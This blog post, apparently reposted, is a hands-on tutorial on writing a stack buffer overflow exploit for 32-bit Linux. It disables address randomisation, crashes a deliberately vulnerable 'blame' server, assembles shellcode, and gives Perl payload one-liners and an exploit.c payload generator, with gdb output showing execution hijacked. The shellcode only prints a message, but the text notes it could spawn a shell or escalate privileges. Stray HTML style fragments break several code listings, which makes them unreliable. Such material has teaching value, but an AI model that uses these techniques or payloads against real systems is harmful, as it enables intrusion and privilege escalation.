Writing Buffer Overflows Exploits
Required Tools: gcc gdb nasm ld objdump perl Introduction This tutorial includes all the code you'll need to carry out these exe...
http://kingofdkingz99.blogspot.com/2011/03/writing-buffer-overflows-exploits.html
Required Tools:
Introduction
This tutorial includes all the code you'll need to carry out these exercises. If you have the above tools you'll be able to compile all the code and test it out on your own (Linux) box. Note that you may need root privileges to make some of the modifications specified.
Buffer overflow vulnerabilities are some of the most prolific and dangerous types of attacks in computer security. The problem essentially boils down to two main factors. The first is that C doesn't enforce type checking and therefore if a programmer isn't careful to handle exceptions unexpected behavior may occur. The second problem is that many process programs written in C run with escalated privileges. This means that an exploit of such a program yields effective control at the level of the exploited process. Since many of these processes run as root, or SYSTEM, successfully exploiting them allows a malicious user a privilege escalation that amount to total control over the target machine.
Buffer overflow exploits are accomplished by mangling the way that C handles memory allocation. When a program in C begins, or starts a function, it allocates a stack of memory for that particular piece of the program. This stack consists of space for variables and data, as well as pointers to return flow control to the proper place in the stack. This allows stacks to grow dynamically as programs fork and carry out subroutines and other processes. This is efficient because the stack doesn't have to be initialized at the start of the program with room for every possible execution path of the program. Instead, as the program runs, memory is allocated on a per needed bases.
Programs don't run in a vacuum, however, and one process can't be allowed to own the stack entirely until it's completion. For this reason the return pointer on these individual pieces of the stack (called stack frames) is critical, so that at the end of the frame execution the processor can return to the original programmatic instructions and continue the program.
Because these frames are allocated dynamically and because they are of a fixed size, if a programmer is not careful it becomes possible to pass in more variable data than is reserved on the stack. For instance, if the following represents a frame:
------------------
| data |
------------------
| data |
------------------
| data |
------------------
| data |
------------------
| data |
------------------
| return pointer |
------------------
You can see that there are 5 'slots' for data in the frame, the sixth slot is for the return pointer. What happens if the program tries to write 6 'slots' of data into the frame? An exception probably, but if the attacker is careful they could arbitrarily send the pointer to a different location in memory, perhaps a location that contains malicious code.
Turning Off Stack Randomization
Before we get too far into this tutorial lets make sure to create an 'easier' environment for our work. Check to make sure the Linux VA patch is disabled as follows. First check to see if randomize_va_space is set off (to zero):
justin@madirish$ cat /proc/sys/kernel/randomize_va_space
0
If you happen to find that it is on (set to one) then disable it using the following (you'll need root to do this):
justin@madirish$ cat /proc/sys/kernel/randomize_va_space
1
justin@madirish$ echo 0 > /proc/sys/kernel/randomize_va_space
justin@madirish$ cat /proc/sys/kernel/randomize_va_space
0
This patch randomizes the stack pointer, making it more difficult to find our jump address to kick off the exploit. It's possible to carry out the exploit with this patch enabled, just much more difficult.
The most effective way to do this is to pass in malicious bytecode as part of the 'data' and then overwrite the return pointer with the location of the malicious bytecode. Even this process is tricky though, because the return pointer must point to the exact location of the exploit code or the code will fail. For instance, if the pointer lands in the middle of the exploit code it won't execute properly. A neat trick is to pad the start of the exploit shellcode with NOP (no operation) instructions. When the machine encounters a NOP it simply moves to the next instruction. If there are a series of NOP instructions preceding the malicious shell code then the pointer merely has to hit one of them, and then the instructions will cascade down the NOP's to the shellcode. This technique is called a NOP sled.
Other Fine Tuning
You may notice that a lot of tutorials online have a bunch of documentation that points to examining the core dumps of programs that throw segmentation faults. When utilizing your own modern Linux box you might find that your buffer overflow attempts are causing a segmentation fault, but not a core dump. Core dumps can be controlled (if you have sufficient privileges) at the command line as part of your user profile. To check if you have core dump enabled try:
justin@madirish$ ulimit -c
0
If you see the above output (a zero) it means your don't have the ability to view core dumps. Go ahead and change that using:
justin@madirish$ ulimit -c unlimited
This will enable you to view the core dump of your files using GDB. The syntax is:
justin@madirish$ gdb
Where is the name of the program that just caused the segmentation fault and is the name of the core dump file (note that this won't always be 'core').
A Further Look at Stack
When you read about buffer overflows you'll read a lot about stacks, heaps, frames and the buffer. It's all a little confusing, even if you understand some of the topics, so it's worth examining more closely. As programs are executed they are assigned blocks of memory. Ultimately these are just places in RAM. The processor runs through blocks of memory in order's supplied to them by the 'register'. The register keeps track of what instructions are to be passed to the processor and where they are located.
When a program starts it is assigned a block of memory that looks something like this:
---------------------------
| Arguments and variables |
---------------------------
| Stack |
---------------------------
| Stack |
---------------------------
| Unused Memory |
---------------------------
| Unused Memory |
---------------------------
| Heap |
---------------------------
| Program Data |
---------------------------
Ok, so that looks a little weird, but it easily demonstrates how the stack can grow down and the heap can grow up. Those are the two areas where dynamic memory is utilized.
The stack is reserved for dynamic input and function variables. You need this to be dynamic because at run time a program has no idea what sort of input it will get or need to assign to a variable. Some variables might get their value from user input, some from the system, some from reading files, and so on. You can see how it would be impossible for the program to calculate what sort of input it would get (and how that might cause the program to branch) at run time. So the program lines up the instructions in the 'Low Addresses' (the Program Data) part of the diagram. As it runs into blocks of code it allocates space on the stack to hold the variables.
So lets say the program starts with main(). The computer allocates a frame on the stack for the main() function that holds it's variables, etc. So the stack looks something like:
-----------------
| data |
| data |
| return address |
-----------------
I've drawn this upside down because it's easier to understand as a stack in this orientation. now the register points at the top of the frame and begins to feed instructions into the processor. Let's say the program calls a function called foo() in main() though. What happens then? Well, a new frame is added to the stack, with the return pointer at the end showing the register where to move next once it's done with the particular frame. Now the stack might look something like:
-----------------
| data |
| return address |
-----------------
| data |
| data |
| return address |
-----------------
With the variables for foo() on top of the stack. The return pointer is at the end showing the register where to move in the stack to pick back up in main() at the point after the function foo() is called. It is important to note that these pointers show the register where to return to execute program instructions, values that are usually held in the bottom of the stack as program data. Knowing this you can see why a return pointer is necessary, rather than having the program just chew down the stack.
A Look at the Victim
Let's examine the following code for the 'blame' program. The code actually makes a rudimentary attempt to prevent a buffer overflow exploit, but one which doesn't work.
/*
* Blame server. Assigns blame to the person of your choice.
*
* Usage: blame
* (reads one line from standard input)
*
* To compile:
* cc blame.c -o blame
*
* Install under inetd as follows:
* blame stream tcp nowait root /path/to/blame blame
*
* Copyright 2004 by Feckless C. Coder, PhD.
*/#include
#include
#define INPUT_BUFFER 256 /* maximum name size */ /*
* read input, copy into s
* gets() is insecure and prints a warning
* so we use this instead
*/
void getline(char *s)
{
int c;while ((c=getchar()) != EOF)
*s++ = c;
*s = '\0';
}/*
* convert newlines to nulls in place
*/
void purgenewlines(char *s)
{
int l;
l = strlen(s);
while (l--)
if (s[l] == '\n')
s[l] = '\0';
}
int main()
{
char scapegoat[INPUT_BUFFER];
getline(scapegoat);
/* this check ensures there's no buffer overflow */
if (strlen(scapegoat) < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "> purgenewlines(scapegoat);
printf("It's all %s's fault.\n", scapegoat);
}
return 0;
}
Looking at the code you can see that the main() function sets up the char variable scapegoat with a size set to the constant INPUT_BUFFER (which is 256). A pointer to this variable is now passed to the getline() function which copies the program's input using getchar() into the variable scapegoat. The problem with this function is even after the getline() function finishes and control returns to main() the buffer has been overflown, so the check for length that occurs as the next instruction:
if (strlen(scapegoat) < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
happens too late (the chicken has already flown the coop). Let's begin to explore how this particular buffer overflow works.
Overflowing the Buffer
First let's ensure that we actually can overflow the buffer. We'll use a little Perl at the command line to create some input then check out what is going on using GDB. First I'll demonstrate blame working correctly, however:
justin@madirish$ echo foo > bar
justin@madirish$ cat bar | blame
It's all foo's fault.
justin@madirish$ perl -e 'print "A"x356' > input
justin@madirish$ cat input | blame
Segmentation fault
You can see blame bombing out on the larger input. Lets fire up GDB and examine exactly what is going on here:
justin@madirish$ gdb blame
GNU gdb 6.4
...
(gdb) run blame < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">Starting program: /home/justin/cis551/blame blame < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
Program received signal SIGSEGV, Segmentation fault.
0x08048514 in main ()
(gdb) i r
eax 0x0 0
ecx 0x41414141 1094795585
edx 0x0 0
ebx 0xb7fb5ff4 -1208262668
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0xb8000cc0 -1207956288
edi 0x41414141 1094795585
eip 0x8048514 0x8048514 <-- this is key
eflags 0x10282 66178
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Now the important piece of this output is the EIP. The EIP is the return pointer that we want to overwrite with our malicious address. Our input was passed in as a bunch of "A"'s (41 in hex), but the EIP seems to have a regular memory value. Let's try with only 256 A's instead and see what happens.
(gdb) quit
The program is running. Exit anyway? (y or n) y
justin@madirish$ perl -e 'print "A"x256' > input
justin@madirish$ gdb blame
GNU gdb 6.4
...
(gdb) run blame < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">Starting program: /home/justin/cis551/blame blame < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xbffff000 -1073745920
edx 0x0 0
ebx 0xb7fb5ff4 -1208262668
esp 0xbffff000 0xbffff000
ebp 0xbffff128 0xbffff128
esi 0xb8000cc0 -1207956288
edi 0x0 0
eip 0x41414141 0x41414141 <- Note new value
eflags 0x210282 2163330
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Ah, that's more like it. You see how the EIP is overwritten with the value of the string A. You might wonder why 256 bytes will overflow the buffer but a large value won't. The key here is actually in the blame code. The code does proper bounds checking to make sure the input can only be 256 bytes long, but the extra byte is actually introduced by the code itself. Inside the loop:
while ((c=getchar()) != EOF)
*s++ = c;
*s = '\0';
There is a critical error. The final declaration adds one extra byte to the sting, the null byte. This results in an error when a legal input of 256 bytes is passed into blame, the getline() function actually adds one extra byte and causes the buffer overflow.
A Simple Fix
A simple change in the function will prevent this behavior, but you can easily see how a vulnerability such as this could be overlooked. If getline is rewritten as:
void getline(char *s)
{
int c;
int x = 0;
while ((c=getchar()) != EOF && x < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "> *s++ = c;
x++;
}
*s++ = '\0';
}
The program functions safely regardless of the input size. This modification also prevents the gnarly segfault errors from showing up, effectively handling exceptions in a cleaner manner.
Back to Our Regularly Scheduled Exploit
Ok, so now back to our exploit. We know now that an input size of 256 bytes will cause a buffer overflow and overwrite the EIP. If we can exploit this weakness we can cause the program to execute some arbitrary commands.
Let's begin with what is arguably the most difficult part of this process, our shellcode. While there are shellcode generators out there online, it's a lot easier to be able to build your own, especially if you want to be able to craft very specific behavior out of your buffer overflow.
Generating Shellcode
Let's create some shellcode that makes blame print out the output "Now I p0wn your computer" instead of it's normal function. Usually you'll want a buffer overflow to spawn a shell or perhaps open a backdoor listening port on the target computer, but we'll keep it simple for now.
Shellcode, often referred to as bytecode, is basically just assembly language. Now, don't worry if you don't know a whole lot of assembly at this point, we're going to leverage some tools to help make it easier. The first thing we want to do is create a program to test our bytecode. Using the following:
/*shellcodetest.c*/
char shellcode[] = "substitute shellcode here";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
}
We can substitute our shellcode for the "substitute shellcode here" portion. Go ahead and create the file shellcode.c by cutting and pasting the above. Next compile this program so we can use it (I'm assuming you know how to compile raw C code but I'll go ahead and be explicit here just in case):
justin@madirish$ gcc -o shellcodetest shellcodetest.c
This creates the executable shellcodetest in the current working directory. Now, it isn't going to work at this point since we don't actually have any shellcode assigned to the shellcode[] variable. Let's go ahead and tackle that challenge now.
For this task we're totally going to gank the hello.asm code fromhttp://www.vividmachines.com/shellcode/shellcode.html (see citations below) and modify it to suit our purposes. You can use C to generate your shellcode as well, but there are some problems that crop up along the way. For instance, you cannot have any null bytes (\x00) in your shellcode or it is interpreted as the end of text input (as the getchar() or other input function in the C program is reading input it stops as soon as it encounters a null, thus your shellcode won't be loaded into memory entirely). For now we'll gloss over how to modify your assembly code using 'xor' to get rid of these null bytes and keep things simple. The code we're going to use is as follows:
;hello.asm
[SECTION .text]
global _start
_start:
jmp short ender
starter:
xor eax, eax ;clean up the registers
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov al, 4 ;syscall write
mov bl, 1 ;stdout is 1
pop ecx ;get the address of the string from the stack
mov dl, 24 ;length of the string
int 0x80
xor eax, eax
mov al, 1 ;exit the shellcode
xor ebx,ebx
int 0x80
ender:
call starter ;put the address of the string on the stack
db 'now I p0wn your computer'
If we were really l337 we'd use 'now I p0wn j00r b0x3n' as our string, but that's another tutorial ;) For now we do the following:
justin@madirish$ nasm -f elf hello.asm
justin@madirish$ ld -o hello hello.o
justin@madirish$ objdump -d hello
hello: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: eb 19 jmp 804809b
08048082 :
8048082: 31 c0 xor %eax,%eax
8048084: 31 db xor %ebx,%ebx
8048086: 31 d2 xor %edx,%edx
8048088: 31 c9 xor %ecx,%ecx
804808a: b0 04 mov $0x4,%al
804808c: b3 01 mov $0x1,%bl
804808e: 59 pop %ecx
804808f: b2 18 mov $0x18,%dl
8048091: cd 80 int $0x80
8048093: 31 c0 xor %eax,%eax
8048095: b0 01 mov $0x1,%al
8048097: 31 db xor %ebx,%ebx
8048099: cd 80 int $0x80
0804809b :
804809b: e8 e2 ff ff ff call 8048082
80480a0: 6e outsb %ds:(%esi),(%dx)
80480a1: 6f outsl %ds:(%esi),(%dx)
80480a2: 77 20 ja 80480c4
80480a4: 49 dec %ecx
80480a5: 20 70 30 and %dh,0x30(%eax)
80480a8: 77 6e ja 8048118
80480aa: 20 79 6f and %bh,0x6f(%ecx)
80480ad: 75 72 jne 8048121
80480af: 20 63 6f and %ah,0x6f(%ebx)
80480b2: 6d insl (%dx),%es:(%edi)
80480b3: 70 75 jo 804812a
80480b5: 74 65 je 804811c
80480b7: 72 .byte 0x72
What we're doing here is using the programs nasm, ld, and objdump. The important values (the good stuff) are contained in the second column of the output (the part on the second line that reads 'eb 19'). If you copy all of these out and preface them with "\x" then you have valid shellcode. So copying out the above example gives us:
eb 19 31 c0 31 db 31 d2 31 c9 b0 04 b3 01 59 b2 18 cd
80 31 c0 b0 01 31 db cd 80 e8 e2 ff ff ff 6e 6f 77 20
49 20 70 30 77 6e 20 79 6f 75 72 20 63 6f 6d 70 75 74
65 72
We transform this into shellcode and put it into our test program above:
/* revised shellcodetest.c */
/* now with working code :) */
char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3"\
"\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"\
"\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72"\
"\x20\x63\x6f\x6d\x70\x75\x74\x65\x72";
main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Lets test out the above code to make sure it works. Save the modified file as shellcodetest.c and compile it using:
justin@madirish$ gcc -o shellcodetest shellcodetest.c
Then test the shellcode to see if it works:
justin@madirish$ ./shellcode
now I p0wn your computer
Injecting the Shellcode
Ok, the next part of the process is to actually inject the shellcode into a running process with a buffer overflow exploit. First let's examine our overflow of the blame program. We know that with 256 bytes of A's that the EIP is overwritten with four bytes worth of A's 0x41414141. If we examine this behavior more closely we'll find that the A's that overwrite the EIP aren't in fact the last four A's of the payload.
justin@madirish$ perl -e 'print "A"x10,"B"x66,"DDDD","C"x176' > input2
justin@madirish$ gdb blame
GNU gdb 6.4
...
(gdb) run blame < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">Starting program: /home/justin/cis551/blame blame < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xbffff000 -1073745920
edx 0x0 0
ebx 0xb7fb5ff4 -1208262668
esp 0xbffff000 0xbffff000
ebp 0xbffff128 0xbffff128
esi 0xb8000cc0 -1207956288
edi 0x0 0
eip 0x44444444 0x44444444 <- Note the EIP
eflags 0x10282 66178
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
You'll notice that it was actually the D character's (44 in hex) that overwrote the EIP. This is interesting to note since the D's occur between the 76th and the 80th characters of our input. Now, let's add our shellcode to the end, substituting it for the C's and prefacing it with a NOP sled:
justin@madirish$ perl -e 'print "A"x76,"DDDD","\x90"x120,
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59",
"\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff",
"\xff\xff\x6e\x6f\x77\x20\x49\x20\x70\x30\x77\x6e\x20\x79\x6f",
"\x75\x72\x20\x63\x6f\x6d\x70\x75\x74\x65\x72"' > malinput2
[Note that if you cut and paste the above you may have to reformat on account of line breaks] Now lets test out our payload in gdb. What we're specifically going to look for is a memory address somewhere near the middle of our NOP sled. We're going to use this value instead of "DDDD" in our final payload. I'm going to double check the size of the malinput2 file as well, just to make sure it's 256 bytes.
justin@madirish$ ls -lah malinput2
-rw-r----- 1 justin justin 256 2007-01-28 17:30 malinput2
justin@madirish$ gdb blame
GNU gdb 6.4
...
(gdb) run blame < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">Starting program: /home/justin/cis551/blame blame < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) x/256xb $esp
0xbffff000: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff008: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff010: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff018: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff020: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff028: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff030: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff038: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff040: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff048: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff050: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff058: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff060: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff068: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff070: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff078: 0xeb 0x19 0x31 0xc0 0x31 0xdb 0x31 0xd2
0xbffff080: 0x31 0xc9 0xb0 0x04 0xb3 0x01 0x59 0xb2
0xbffff088: 0x18 0xcd 0x80 0x31 0xc0 0xb0 0x01 0x31
0xbffff090: 0xdb 0xcd 0x80 0xe8 0xe2 0xff 0xff 0xff
0xbffff098: 0x6e 0x6f 0x77 0x20 0x49 0x20 0x70 0x30
0xbffff0a0: 0x77 0x6e 0x20 0x79 0x6f 0x75 0x72 0x20
0xbffff0a8: 0x63 0x6f 0x6d 0x70 0x75 0x74 0x65 0x72
0xbffff0b0: 0x00 0xf0 0xff 0xbf 0x00 0x00 0x00 0x00
---Type to continue, or q to quit---
0xbffff0b8: 0x28 0xf1 0xff 0xbf 0x7c 0xf8 0xea 0xb7
0xbffff0c0: 0xc0 0x0c 0x00 0xb8 0x30 0x85 0x04 0x08
0xbffff0c8: 0x28 0xf1 0xff 0xbf 0x7c 0xf8 0xea 0xb7
0xbffff0d0: 0x02 0x00 0x00 0x00 0x54 0xf1 0xff 0xbf
0xbffff0d8: 0x60 0xf1 0xff 0xbf 0x4d 0x32 0xff 0xb7
0xbffff0e0: 0x00 0x00 0x00 0x00 0xc0 0xa2 0xfb 0xb7
0xbffff0e8: 0x01 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0xbffff0f0: 0xf4 0x5f 0xfb 0xb7 0xc0 0x0c 0x00 0xb8
0xbffff0f8: 0x00 0x00 0x00 0x00 0x28 0xf1 0xff 0xbf
Ok, so looking at the above example we can see our NOP (0x90) sled starting at 0xbffff000 and ending at 0xbffff077. Lets choose 0xbffff010 as our target address. Now, we have to rewrite this address in little endian format (if you overlook this then your address won't work), so it becomes:
\x10\xf0\xff\xbf
Now, lets plug this value in for the "DDDD" part in our payload and test it out:
justin@madirish$ perl -e 'print "A"x76,"\x10\xf0\xff\xbf","\x90"x120,
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x18\xcd",
"\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20",
"\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70\x75\x74",
"\x65\x72"' > final_payload
justin@madirish$ gdb blame
GNU gdb 6.4
...
(gdb) run blame < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">Starting program: /home/justin/cis551/blame blame < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">now I p0wn your computer
Program exited normally.
(gdb)
And there you have it. Now, at this point the payload will only work in the gdb environment. In order to get it working in the wild we'll have to be a little more creative.
Release the 'Sploit
Ok, so now we've seen that the buffer overflow can be accomplished, but doing this outside of gdb is a little more tricky. At this point we're going to switch to the classic buffer overflow technique rather than leveraging the nuanced behavior of the "blame" code with a 256 byte input. We're going to go whole hog and shift our input to 420 bytes long. This is going to completely clobber the stack, overwriting the return pointer (and probably a lot more too). Of course, to do this we're going to have to come up with a tightly crafted payload and a good guess as to where the return address needs to return to.
Since stack space initializes with the same memory addresses regardless of program the easiest way to get a sense of where our payload will reside in memory is to create a new program that initializes a couple of variables and prints out their memory addresses. We can use this as a guide to put is in the right neighborhood for our exploit. Because our buffer is so small we're actually going to have to be fairly precise in our calculations. First let's look at the code that'll show us some addresses:
/**** show_sp.c ****/
#include
int main(void) {
char buffer[256];
char buffer2[6];
printf("First var: 0x%x\n", &buffer);
printf("Next var: 0x%x\n", &buffer2);
return 0;
}
By listing the variable name with an ampersand preceding it the output will contain the address of the start of the variable rather than the contents of the variable (its value). Using these two values we can gauge where in memory we will need to point our exploit payload towards.
Next we have to craft a program that will put together our payload. This program will take two arguments, the size of the payload and an offset. The payload size has to be big enough to clobber the return pointer, but not so big that it completely wipes out the stack. In our case, using around 420 bytes will do the trick (using over 9 Megs will certainly clobber the stack and cause 'very bad things' to happen). Next we have to play with the offset to make sure it lands somewhere in the neighborhood supplied by our show_sp program. Here's the final program we'll use:
/**** exploit.c ****/
#include
#include
#include
#include
#include
#define DEFAULT_OFFSET 256
#define DEFAULT_BUFFER_SIZE 256
#define NOP 0x90
char shellcode[] =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3"\
"\x01\x59\xb2\x18\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd"\
"\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20\x49\x20\x70"\
"\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70"\
"\x75\x74\x65\x72\x80";
unsigned long get_sp(void) {
__asm__("mov %esp,%ebp");
}
int main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, x;
unsigned long addr, sp = get_sp();
FILE *payload;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using address: 0x%x\n", addr);
printf("Payload is now in file './payload'\n");
//fill up the whole thing with addresses
ptr = buff;
addr_ptr = (long *) ptr;
for (i=0; i < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "> *(addr_ptr++) = addr;
//write 100 NOPs (sled) in the beginning
for (i=0; i < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "> buff[i] = NOP;
//follow with the shellcode
x=0;
for (i=100; x buff[i] = shellcode[x];
x++;
}
// write payload to a file
payload = fopen("./payload", "w");
fwrite(buff,bsize,1,payload);
fclose(payload);
return 0;
}
Now, putting this into action we'll first have to check out where we need our address, then we'll have to play with the numbers a little:
justin@madirish$ ./show_sp
First var: 0xbfffeff4
Next var: 0xbfffefee
Ok, so we're looking to hit an address somewhere around 0xbfffefee. Let's try a couple of addresses:
justin@madirish$ ./exploit 420 -400
Using address: 0xbfffeff4
Payload is now in file './payload''
This is close, although it's right at the edge. Let's give it a shot anyway:
justin@madirish$ cat payload | blame
Segmentation fault
No cigar, and what's worse is that there won't be any hints as to how close or far off you are. Let's just start walking through address space starting from an offset of -400 and see what happens when we hit -404:
justin@madirish$ ./exploit 420 -404
Using address: 0xbfffeff0
Payload is now in file './payload''
justin@madirish$ cat payload | blame
now I p0wn your computer
justin@madirish$
Bingo! It worked. We got a valid return address in just the right spot at an offset of -404. Now, this program was pretty benign, but if we were to change the shellcode to do something more malicious, or if the program had been a suid program (set to run as another user, typically root) then we could have leveraged the privilege escalation to do all sorts of things.